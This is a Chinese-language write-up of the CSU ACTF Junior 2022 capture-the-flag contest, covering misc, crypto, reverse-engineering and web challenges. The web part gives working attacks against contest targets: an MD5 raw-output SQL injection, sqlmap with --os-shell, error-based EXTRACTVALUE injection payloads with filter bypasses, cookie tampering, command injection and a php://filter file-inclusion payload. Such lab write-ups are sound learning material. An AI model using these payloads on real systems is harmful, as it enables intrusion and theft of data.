CSU ACTF Junior 2022 Writeups

Read First

本文除了Web版块的题目,其他所有题目的源文件都可以在我的Github Repo中找到。

Web页面/Pwn靶机 因时间关系而失效等原因不给出IP地址

Misc

archpr

顾名思义 使用archpr这个软件暴力字典破解压缩包密码,密码是5位小写字母,很快就算出来的。

答案 actf{z1p_pas3_brute_force!}

common png

这张图片用Windows照片uwp是看得到皮卡丘的,然而用Honeyview却是打叉,说明图片元数据被篡改了。

使用010editor或者类似的可以修改Hex数据的软件打开png:

一打开就看到错误提示 CRC Mismatch CRC校验出错,证实了猜想。

定位到这个chunk:

这个IHDR数据经常用于隐写,修改宽高值,直到看到flag(这道题是增大height)

详见PNG - CTF Wiki

答案 Aurora{m1sc-flag01-h3ight-width!}

ntfs

针对ntfs ctf进行搜索,发现ntfs数据流隐写这样一个特性
但是一定注意用WinRAR解压pass.rar,用其他软件数据流会莫名丢失。

cmd定位到文件夹,使用 dir /r 会看到 pass.txt:hidetxt.txt:$DATA

notepad pass.txt:hidetxt.txt 就能看到一串乱码即flag.zip 的密码。

答案 actf{ntfs_hidden_txt....} (将.替换为#,不知道为何四个#放在一起会导致hexo出错,可能是索引问题)

funny sentence

打开来看全是社会主义核心价值观,仔细看发现类似密码的重复现象。

搜索相关发现社会主义核心价值观编码,

CTF在线工具-在线核心价值观编码|核心价值观编码算法|Core Values Encoder用这个解码得到一堆颜文字…

意图已经很明显了……

AAEncode加密/解密

答案 actf{@lways_something_th1ngs_behind}

(这个flag内容我不好说)

pass in zip

题目描述: Known-plaintext attack

里面是readme.md和flag.zip
而flag.zip中也有readme.md

结合描述推测出压缩包外的readme与压缩包内的应为同一文件

即已知明文攻击(Known Plaintext Attack)

使用bkcrack来破解(仅适用zip加密)

详细教程参见bkcrack/tutorial.md at master · kimci86/bkcrack
这里只给出这道题的解法

1
2
3
4
5
6
7
8
9
10
> bkcrack.exe -C flag.zip -c readme.md -p readme.md
// -C 加密的压缩包 -c 压缩包中的密文 -p 密文对应的已知明文
bkcrack 1.3.4 - 2022-01-01
[02:12:45] Z reduction using 162 bytes of known plaintext
100.0 % (162 / 162)
[02:12:46] Attack on 53346 Z values at index 7
Keys: 4a4bf6e2 91006f97 f4b14545
62.3 % (33217 / 53346)
[02:13:05] Keys
4a4bf6e2 91006f97 f4b14545

获取到Key后,再使用bkcrack提取出flag.txt或生成使用新密码的压缩包

1
2
3
4
5
6
7
8
9
10
> bkcrack.exe -C flag.zip -c flag.txt -k 4a4bf6e2 91006f97 f4b14545 -d deciphered_flag.txt
bkcrack 1.3.4 - 2022-01-01
[02:17:42] Writing deciphered data deciphered_flag.txt (maybe compressed)
Wrote deciphered data.

> bkcrack.exe -C flag.zip -k 4a4bf6e2 91006f97 f4b14545 -U new_password_flag.zip easyasfxxk
bkcrack 1.3.4 - 2022-01-01
[02:20:05] Writing unlocked archive new_password_flag.zip with password "easyasfxxk"
100.0 % (2 / 2)
Wrote unlocked archive.
答案 Aurora{Happy_Nati0na1_Day!with_m1sc!}

最可爱的社会主义核心价值观

文件是图片,直接查看Hex:

发现最后很明显的未知数据,

复制下字符串(即右边)使用Base64解码得到一大串社会主义核心价值观编码字符串,接下来跟前面的funny sentence一模一样的方法…(很难不是出题人偷懒)

答案 actf{Socialism_is_Good}

🥶

outguess

flag.txt:

1
2
3
4
flag在哪?
你Guess一下啊!
提示1:outguess
提示2:注意图片属性

太明显了 搜索一下outguess就知道是一个图片隐写工具
图片属性:

呃呃,,,

得到密钥 abc

用outguess处理一下。

1
2
3
4
5
> outguess -k "abc" -r mmm.jpg h.txt
// -k 密钥 -r 隐写过的图片文件 后面是输出文件
Reading mmm.jpg....
Extracting usable bits: 17550 bits
Steg retrieve: seed: 93, len: 23
答案 ACTF{gue33_Gu3Ss!2020}

Crypto

hello

题目描述:hello Ceasar

暴力凯撒,在偏移量为1时得到可读明文:hello newbie,enjoy yourself

答案 actf{hello newbie,enjoy yourself}

猪肉

题目描述:🐷🐷可好吃啦

由题目联想到培根密码,

加密方式为不同编码,得到:DO YOU LIKE BECON

答案 actf{DO YOU LIKE BECON}

头脑风暴

题目描述:开动你滴小脑袋

看密文就知道是Brainfuck了,没啥好说的。

答案 actf{start your brainstorming}

ok不ok?

同上,Ook是Brainfuck的变种。

答案 actf{are you ok?}

easy_vigenere

最难的Crypto题,题目叫easy有点呃呃了,当然做出来后觉得很简单就是了(

密文是一长串数字0-9都有,尝试了各种各样的加密形式无果,最后还是去提问了一下才得到提示:long转bytes

用Python的 crypto 库中的 crypto.Util.number.long_to_bytes() 函数转换为字符串

1
2
3
4
5
import Crypto.Util.number
print(Crypto.Util.number.long_to_bytes(12009864365761001741........))

> b'izyu {c oaqi a giiay} wvyh iue yey hmirk yojzyf scelo si ejdzrsx, hny ivhic huoz ybx toprtdzr stdzj py tayi lrn, xhq ucsub wlvgev nmlx es koxl pgeiq, rrd fks afivkzh porgee zwjz vl mvhe vkvaujvr, ohk tci gofvy ai hfs fvry whdcp bq ustsusey eng rpl rosqv moagp shv mt fruchblr.git iiiepra pwhn. aih wkvr ttlg fojweiw, aqu ahqq kc ofsor jrhvhoy uwlu \xe2\x80\x94 qoei ae ovx if uwlu zyoh ivhic vuozyuy hny ivhic hmpzch, zyoh ivhic sfdhc ohk eqirb tmtk, zs uwfs bz ebov xo esscr ow tcet grc wthb yzf vf bsd\xe2\x80\x99v tlixgfcb \xe2\x80\x94 vsaxo mhe enp zvghy tei, nezj enp jslhcsen, trrkisfdbrg uud xetkfpiov \xe2\x80\x94 kgzf ie vflh ks jalb fohks vrd vzrg uq hfs qvryw oi kle aor lsayo ntiuzxumo: \xe2\x80\x9ctpsy ht gesw! wveq dh joma! tcenn xsd moagubay, ri auv jrqh or zuzt!\xe2\x80\x9d'

这里注意一下函数返回的是字节串,所以要排除掉首尾的 b''

可以发现开头就是flag的样式了 flag{xxx}

然而没有密钥,故只能通过已知明文推出密钥前几位,比如:izyu对应flag

通过维吉尼亚棋盘表可以推出密钥前四位为 doyo

而可以观察出来flag内容像是一句英语,一个字母的应该是 i ,此时密钥为 doyou (Do you) 那么基本肯定密钥也是个句子,后面基本只能暴力尝试(但是要注意,尝试的内容应为四个字母的动词,因为 flag{i 后面也为4个字母的单词),边尝试边观察解密出来的文字。

当然也可以使用现有的工具,比如通过已知部分密钥进行推测等等…

最后得出密钥为 doyouhaveadream

后面的文章果不其然是《I have a dream》的经典片段。

不过最后被坑了一下,提交的flag中i要大写,,,因为维吉尼亚密码不区分大小写所以没有注意到英文首字母大写的规定……

答案 actf{I have a dream}

Reverse

checkin

顾名思义签到题,用IDA打开,转伪代码,

直接糊你脸上了。

答案 ACTF{Welcome_to_Reversing_World}

maze

这道题我还想了挺久这个一大长串的maze到底是什么意思…

在通读了一遍代码和不断的试错下,我终于搞明白了:

s是起点,a是可以落脚的地方,e是终点

通过这段代码能看出,flag是一串由wasd组成的字符串

这四个字符分别代表对pos的计算,总之就是模拟走迷宫

最后确实刚刚好29个字符,至于迷宫怎么走,你可以慢慢试,也可以用搜索算法做(这道题没必要,没那么难)

(flag就不给了,不想再推一次)

Base

题目加代码:

不多说了

Xref

考察对IDA的使用

对sub_401700进行一个Xref的检查,

发现函数特别复杂,大概率不是这里,干脆进行字符串搜索吧
shift+F12转到字符串界面,

第一眼看到:

进去对字符串进行Xref,

发现是另外一个函数sub_401550()才是检测输入是否匹配。

(其实如果一开始先运行程序的话就会知道要直接对Hello,Please Input Your Passwd进行搜索了,这是错误示范,任何逆向的题都应该先运行一遍程序熟悉一下)

读一遍代码,反过来就是把unk_403020里面的数据对索引异或一遍跟输入字符串做检查,而这个输入的字符串应该就是flag了。

直接上idc脚本,或者将数据转换为数组形式(shift+E),再用c模拟一遍也可。

IDC脚本如下:

1
2
3
4
5
6
7
8
static main() {
auto addr = 0x00403020; //起始地址
auto i=0;
for ( i=0 ; addr+i < 0x00403060; i++) //终止地址为字符串最后一位地址的后面一个地址
{
PatchByte(addr+i, Byte(addr+i)^i);
}
}
答案 ACTF{how_do_you_find_this_attribute_constructor_function}

convert

这道题我走了不少弯路……

通读一遍伪代码,理解大概思路,即取输入字符串的每三位,通过各种移位/相加/取且将三位转换为7位密文,最后剩下两位单独处理,最终得出加密后的密文,再将该密文与data段中的result指向的asc_2008做对比。

由于采用了&计算,所以逆向反推出flag可能性为0,但是考虑到是每取三位来加密,所以完全可以暴力模拟穷举破解,只要将伪代码片段转写为可以执行的C程序即可。

不过最后的两位似乎有点小问题,我最后是通过前面解密过的片段推出最后两位字符的…

答案 actf{I_should_have_bought_more_raspberry_pies!}

easyAndroid

用JEB打开,定位到MainActivity类,

通读一遍后发现是getflag()中定义了新的res[]覆盖了public变量,导致最后的结果是fake_flag。

将代码选择性复制,修改res为MainActivity中的res并执行,得到flag。

答案 actf{Android_is_magic!}

Aurora-BasicAndroid

定位到MainActivity类,Tab键解析,

很容易发现是将输入的flag内容与Answer数组作比较,

查看Answer数组:

答案 actf{7355608}

Aurora-BasicNative

解包,得知Main函数调用了一个叫做EagleEye库的 check()函数,

而这个EagleEye库包含在apk的Libraries里面:

右键导出,再用IDA打开.so文件,

转了半天没看出这些函数在干什么,应该是干扰项,直接字符串搜索flag/actf

没想到连加密都没加密耶!

答案 actf{Native_is_not_Naive}

数据就是代码,代码就是数据!

这道题一开始没注意到文件名smc.exe给的提示,结果卡了好久…

SMC(Self-Modifying Code)(自解码),可以在一段代码执行前对它进行修改。常常利用这个特性,把代码以加密的形式保存在可自行文件中,然后在程序执行的时候进行动态解析。这样我们在采用静态分析时,看到的都是加密的内容,从而阻断了静态调试的可能性。

IDA打开,理解了代码的思路,即将init_array中的数据加密(VirtualProtect)后进行异或处理就变为了一段自解码。

那么现在就是需要把init_array先异或处理,然后用C键将自解码转为汇编码,再用IDA的Create Function(P键)功能将其变为函数,F5解析为伪代码方便分析。

还是上IDC脚本:

1
2
3
4
5
6
7
8
9
static main() {
auto addr = 0x004030C0;
auto i=0;
for ( i=0 ; addr+i < 0x0040311C; i++)
{
PatchByte(addr+i, Byte(addr+i)^i);
}

}

可以看到,这个函数的作用就是将a1(input)0x20进行异或,然后再与a2(enc_flag)比较,相同即返回True。

那么反过来就是把enc_flag0x20进行异或就是最终的flag了~

答案 flag{6L2v5Lu25bel56iL54uX6YO95LiN5a2m==}

(内容是Base64编码,不过不需要解码,可以自行解码看看是什么)

Str to Hex

将密文反向处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <bits/stdc++.h>
#define ll long long
#define MAX 100005

using namespace std;

int main()
{
char buf[4096] = {'\0'};

char key[2] = {'g', 0};

char cipher[40] = {99, 18, 100, 103, 98, 17, 99, 101, 97, 102, 96, 100, 97, 98, 100, 97, 100, 99, 98, 17, 99, 102, 97, 18, 96, 110, 98, 17, 98, 17, 99, 19, 100, 103, 96, 101, 97, 98, 101, 102};

for ( int i=0 ; i<40 ; i++ )

{
buf[i] = (cipher[i] - 16) ^ key[0];
}
cout << buf;
return 0;

}

得到字符串 4e305f4261736536345f416e795f5f4d30726521

而这个字符串是由input(即flag)转换为十六进制得来的,

后面就不用我多说啦~~~

答案 actf{N0_Base64_Any__M0re!}

Web

sql with md5

题目提示的很明显了,就是SQL中的MD5漏洞注入

不清楚源代码是什么样的,我就从网上随便找了一个存在漏洞的php

1
2
3
4
5
6
7
8
9
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}

可以看到使用了md5($password, true)来将密码转换为md5值

而这个神奇的字符串:ffifdyop 即为注入密码框的payload

因为计算它的md5得到:276f722736c95d99e921722cf9ed621c

再转换为字符串得到:'or'66�]��!r,��b

将其代入SQL语句得到:select * from admin where password=''or'6<乱码>'

相当于 select * from admin where password=''or 1

所以最后再登陆界面输入USERNAME=admin, PASSWORD=ffifdyop

答案 actf{md555555_based_sq1_gam3}

babe sql 1

进入网站,第一件事F12打开Devtools,一眼看到html注释:

叫我们看看数据库呢,那行吧!(我才不会说我根本没在phpinfo里面找到什么有用信息,是我太菜)

惯例先用sqlmap测试一下字符串漏洞,结果发现这个sql几乎保护什么都没有…

好吧,这是硬要我们看数据库里面有啥呢。

--dbs 查询数据库,发现一个叫 mylogin 的数据库(名字很特别),查tables发现有两个table:flagusers,霍,这么简单么!

然而dump这个flag后,发现被骗了:

好家伙,原来是假的!但是id2这个数据引起了我的注意,

secure-file-priv 这个属性应该是用来保护数据库不被别人访问/上传/修改文件的,而属性=""说明为false,那应该就是通过上传phpshell来访问系统文件了。

在sqlmap命令后面跟上--os-shell,一路回车,获得了了靶机的shell

pwd –> 默认是在/app文件夹下

ls -l ../ –> 发现进入到了根文件夹,找到了flag(从4096的大小来看,应该是文件夹而非文件)

由于cd命令被屏蔽,只能用ls命令慢慢摸索,最后使用cat ../flag/im_your_f1ag得到最终flag

(不用sqlmap做起来还挺麻烦的,我小白一个只能用现有轮子~)

答案 actf{we1c0me-!-my-frieno1-AurOra}

Aurora_cms

题目描述:

Pay attention to the error message.
Only admin can see the flag!

len(pass(admin)) > 32

这道题我个人认为算是进阶SQL注入题了,运用到XPath Error Based/空格绕过/注释/SQL函数运用等内容。

首先用1'测试一下字符串漏洞,很好,SQL报错,说明确实是字符串漏洞没跑了,

此时地址中的php名字叫extractvalue.php,我一开始做的时候完全没有注意到,以为就是把输入进去的内容“提取出来”的意思,后来查了一下才知道Error Based SQL Injection里面有种方法就用到了extractvalue()的漏洞。

不断尝试期间发现有很多关键字被屏蔽了(存在关键字就出现hacker!的提示):空格/加号/union/user

由于手工盲注对于我这种SQL苦手来说实在有点麻烦+困难,所以我还是采用了sqlmap自动注入,由于空格被屏蔽,所以要跟上--tamper=space2comment

1
2
3
4
5
6
7
8
9
10
11
> sqlmap -u "http://errori.nbsps.top:11111/" --forms --crawl=2 --level 2 --risk 2 --tamper=space2comment

......

// 等待片刻后得到了payload
---
Parameter: username (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: username=' AND EXTRACTVALUE(7281,CONCAT(0x5c,0x71766a6b71,(SELECT (ELT(7281=7281,1))),0x71786b7871)) AND 'djuR'='djuR&Password=
---

当然最后要记得把空格改成/**/,稍微修改后得到这样的payload:

1
?username=1%27/**/AND/**/EXTRACTVALUE(1,CONCAT(0x7e,(Select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))/**/AND/**/%27ygWX%27=%27ygWX&Password=

数据库名之前在sqlmap中尝试的时候已经知道是 user 了,然而user作为关键词被屏蔽,于是可以采用database()来代替'user'

limit是用来限制返回数据的个数的,因为发现表格不止一个,通过尝试,知晓了现有表格:credential/hashtable

接着将select语句改为:Select/**/concat(name,'-',password)/**/from/**/credential/**/LIMIT/**/{INDEX},1 {INDEX}为索引,从 0~5 一个个尝试发现第六个用户是admin(为什么是name和password呢?只能说是直觉)

这里我卡了非常非常久,因为我发现admin的密码是一长串不满32位十六进制数字(题目描述给出了admin的密码不止32位),再加上还有hashtable的存在,我就往hash这一块去尝试了,折腾了许久也没有结果,后来发现是XPATH报错信息最长为32个字符(第一个特殊字符是注入必要的,报错全靠它)所以最后显示的密码最长只能显示31位。😥

于是我在想能不能把这一长串十六进制转换为字符输出这样就可以输出62位密码了,然而尝试了好久也没有成果…

最后突然想到,sql能不能像其他语言那样,切割字符串输出呢?有!substr()就是!替换成SUBSTR({select语句},30,100)后发现后面确实还有几位!!!😭

接下来就简单了,只要把两次获得的密码拼接起来,就得到了最终密码!
(结果hashtable完完全全是迷惑项么🥺)

想要知道最终密码的可以在这个文件的第30行看到 –> My Github

答案 actf{we1c0me-!-my-frieno1-AurOra}

flag shop

页面长这样:

直接买flag提示钱不够,买了别的以后钱会减少,然而刷新页面后钱不会复原,不出意外钱的数值应该储存在cookie里面,打开页面的cookie,果不其然:

那么直接修改cookie值就好了,控制台输入document.cookie="money=1000",然后买flag即可

答案 flag{u_c@n_mod1fiy_c0ok1e_t0_GeT_fl4g}

game

TODO

what’s the time

一进去是个模板生成的界面,中间是时间,下面输入框里面写着 date +'%Y-%m-%d %H:%M:%S'

看着像命令的样子,时间格式化字符串也是标准形式,再加上前面的date是一个常用(?)的Linux命令,所以试一下吧!

一输入ls,这个页面就暴露了它的真面目,换个ls ../,,,太简单了。

答案 flag{e@sy_cmD_1nJecTi0n}

PY?朋友?

题目描述:试试PY吧

这个描述很怪,第一想法PY是不是Python,后来觉得有没有可能是Web方面也有个叫PY什么的技术之类的,结果最后我的第一感觉才是对的😂

打开页面只有一个文件名tmp_file_ce38785923204a56a4d8e098fb0a06c3,想到可能是服务器下面的文件,于是把它粘贴到url里面:

眼尖的你应该发现了,通过字体可以知道:index页面的tmp_file是HTML渲染的内容,而后面的tmp_file是文件里面的内容。

复制粘贴多次,发现后面的哈希值不断地改变,一开始以为是服务器自动生成的,后来发现hash值是固定的,看来是预生成而非自动生成。

结合题目,试试python自动复制粘贴(((

1
2
3
4
5
6
7
8
9
10
import requests

filename = "tmp_file_ce38785923204a56a4d8e098fb0a06c3"
for i in range(1000):
r = requests.get(f"http://1.13.5.233:13331/{filename}")
print(f"{i}: {filename}")
filename = r.text
if r.text[0] != 't':
print(r.text)
break

理论上不用python也能做捏🥰

答案 flag{Whny_not_usi_PythoN}

include

网页只有一段代码:

1
2
3
4
5
6
7
8
<?php
// flag.php
highlight_file(__FILE__);

if ($_GET['filename']) {
include $_GET['filename'];
}
?>

flag.php 很明显的文件提示,但是访问这个文件时,页面是空白的,说明这个php文件没有输出;

highlight_file()这个跟解题无关,只是给代码加个高亮;

后面一段就是典型的php获取GET请求的方法,而后面的include是将文件内容输出到页面(或者说,插入到页面中)

那么就要提到php的filter功能:php://filter/read=convert.base64-encode/resource=xxx
可以将资源文件的文本用Base64加密。

那么只要在请求时给filename赋值该语句即可,资源名就是代码里注释的flag.php(太直白了)

1
index.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
答案 flag{123a56789}